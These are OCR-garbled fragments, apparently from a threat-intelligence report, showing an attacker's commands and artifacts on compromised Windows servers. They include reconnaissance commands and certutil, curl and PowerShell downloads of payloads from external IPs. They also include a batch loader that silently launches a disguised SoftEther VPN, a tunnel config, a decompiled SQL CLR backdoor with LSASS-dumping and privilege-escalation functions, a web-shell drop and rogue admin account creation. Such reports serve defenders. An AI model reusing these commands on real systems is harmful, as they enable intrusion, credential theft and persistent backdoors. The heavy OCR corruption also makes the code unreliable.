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> whoami> netstat -ano -p tcp> netstat -ano> tasklist> query user> curl -h> where curl>
systeminfo> ipconfig> ipconfig /all> ping 8.8.8.8
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> powershell iwr -uri hxxp://64.176.55[.]16:80/download/menu.bat -OutFile
C:\ProgramData\1.bat> powershell iwr -uri hxxp://139.180.210[.]71/download/m2.bat -OutFile
C:\ProgramData\1.bat> powershell iwr -uri hxxp://45.76.144[.]150/download/m2.bat -OutFile
C:\ProgramData\1.bat
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@echo off

set "url=http://45.76.144.156/download/us32825088234.cab”
set "output file=C:‘\ProgramData\proxy.cab"

set "output dir=C:\ProgramData\JimPulic"

certutil -urlcache -split -+ "Rurl®” "Xoutput file®"

if not exist "Routput file®x"” exit /b 1

if not exist "Xoutput dirk" mkdir "%output diri%"

expand “"%output fileRk"™ -f:* "Xoutput dirZk" >nul 2>81

if not exist "Xoutput dirf\hamcore.exe™ exit /b 1

start "" "Routput diri\hamcore.exe” Jfusermode hidetray
exit /b @
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T2 Cab ote! SHEf EE= 2 “hamcore.se2”, “vpn_server.config’& MX|st= 217} &0l

=ict.
Target Type File Name File Size File Path &
Current B cmd.exe 324 KB YaSystemRoot) system32\cmd.exe
Target B curlexe 518.5 KB YaSystemRoot!system32'\curl.exe
Parent B v3wp.exe 44 KB YaSystemRootl system32\inetsrv\w3wp.exe
GeneratedByTarget B svchost.exe 6.74 MB YeALLUSERSPROFILE%\ usoshared\svchost.exe
Process Module Target Behavior Data
B cmd.exe B curl.exe Creates process
B curl.exe Downloads executable file http://64.176.55.16/download/svchost.exe

B svchost.exe
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> certutil -urlcache -split -f “hxxp://139.180.210[.]71/download/us320250823.cab”
“C:\ProgramData\proxy.cab”> certutil -urlcache -split -f
“hxxp://64.176.55[.]16/download/us31231131.cab” “C:\ProgramData\proxy.cab”> certutil -
urlcache -split -f h”xxp://64.176.55[.]16:80/download/vmtoolsd.se2"
“C:\ProgramData\USOPulic\vmtoolsd.se2”> curl hxxps://sendit[.]sh/Ebhcz/hamcore.se2 -0
c:\programdata\dns\hamcore.se2> curl hxxps://sendit[.]sh/LLXkB/dUHxy.config -o
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c:\programdata\dns\vpn_server.config> curl -o c:\programdata\USOPublic\vpn_server.config
hxxp://69.48.229[.]1196:8080/download/server.config.hrx> curl -0
c:\programdata\USOPublic\hamcore.se2 hxxp://69.48.229[.]196:8080/download/core.img>
certutil -urlcache -split -f “hxxp://45.76.144[.]150/download/us3202508234.cab”
“C:\ProgramData\proxy.cab”> certutil -urlcache -split -f
hxxp://69.48.229[.]54:8080/1/vmtoolsd.exe c:\programdata\vmtools\vmtoolsd.exe> curl
hxxp://69.48.229[.154:8080/1/2.config -o c:\programdata\vmtools\vpn_server.config
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declare Cascade®

1
bool CheckServerCert false

bool Online true

declare ClientAuth

{
uint AuthType 1
byte HashedPassword UE_:
string Username 2.

by

declare ClientOption

{

string AccountName N2

uint AdditionalConnectionInterval 1
uint ConnectionDisconnectSpan @
string DeviceName SElEEEEE
bool DisableQoS true

bool HalfConnection false

bool HideNicInfoWindow false

bool HideStatusWindow false
string Hostname 64.176.46.157
string HubName 22X

uint MaxConnection 1

bool MNoRoutingTracking true

bool NoTlsl false

bool NoUdpAcceleration true

uint NumRetry 4284967295

uint Port 443

uint PortUDP &
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> reg query “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential
Providers”> secedit /export /cfg C:\Windows\Temp\secpol.cfg> dsregcmd /status
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4 [ CLR_module (0.0.0.0) - f using Microsoft.SglServer.Server;
4 08 C|R_moduledll -
p OO I;E 6 // Token: 8x82800083 RID: 8
= 7 public class StoredProcedures
I o0 Type References 8
:E{H? References 9 // Token: @x@6@88011 RID: 17 RVA: @x@@@825E4 File Offset: Ox@e@087E4
- 10 [5glProcedure]
P 4y <Module> @02000001 11 public static void ClrExec(string cmd)
b 4, <PrivatelmplementationDetails>{4! 12 {
p(?@ StoredProcedures @02000008 —? if (cmd.Contains("clr_dumplsass™))
4 {} CLR_modul o
t . 15 string[] array = omd.Split(new char[] { " ' });
b 48 adduser @D2000005 B . . . . Y . . .
16 string environmentVariable = Environment.GetEnvironmentVariable("SystemRoot™);
b %, BadPotato @02000025 B . . ot e L . :
17 string text = string.Format("{@}\\Temp\\", environmentVariable);
P % basefun @02000024 18 if (array.length == 1)
P 5% COMM_FAULT_OFFSETS @0200001 19 I
P 48 download @02000006 28 dumplsass.run(text);
P 48 dumplsass @02000007 21 return;
b A EfsrTiny @0200001C 22 W
b 4 exec @D2000013 23 dumplsass.run(array[1]);
b 4 getav @02000011 b g return;
b O@ LocalGroupUserHelper @02000002 26 else
P 5% MIDL_STUB_DESC @02000023 27 I
b %4 Potato @02000014 28 if (emd.Contains("clr_pwd"))
P 48, ProcessWaitHandle @02000018 29 i
b %, RDP @02000012 3? basefun.GetCurrentDir();
b 53 RPC_CLIENT_INTERFACE @0200002 gi | return;
b Z RPC_S.‘r'NTA.J(_IDEN'I'IFIER @020000: 33 if (emd.Contains(“clr 1s"))
P 5% RPC_VERSION @02000020 34 I h
5 {P}T;‘é EEE”ClCElElCEElEr@02000009 35 string[] array? = cmd.Split(new char[] { " ' });
ingCastle 36 if (array2.length == 1)
b 4g NativeMethods @02000029 37 i ) )
4 {} pingCastle.RPC 38 basefun.ListDir{""};
b 42 Isa @0200004E ?g | return;
B O@ LS-f'\_DCI‘-.-1:-‘-'«IN_INFGF‘\I‘-;LC'«TICI\J @02 a1 basefun.Listdir(array2[1])3
b 4g LSA_LOOKUP_RESULT @0200003F 42 return:
b % NativeMethods @02000053 43 1 1
P 42 nrpc @02000058 44 else
p@g NullSessionTester @0200005C 45 i ) )
p&g rpcapi @02000040 LE :E‘F (cmd.Contains("clr_cd"))
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> powershell iwr -uri hxxp://bashupload[.]app/p62mh8.bin -OutFile D:\*****\*****\403.aspx>
powershell -c “$u=
[ADSIIWInNT://./";$user=$u.Create(‘User’,’adminsitrator’);$user.SetPassword(‘Pa******@#');$
user.SetlInfo()”
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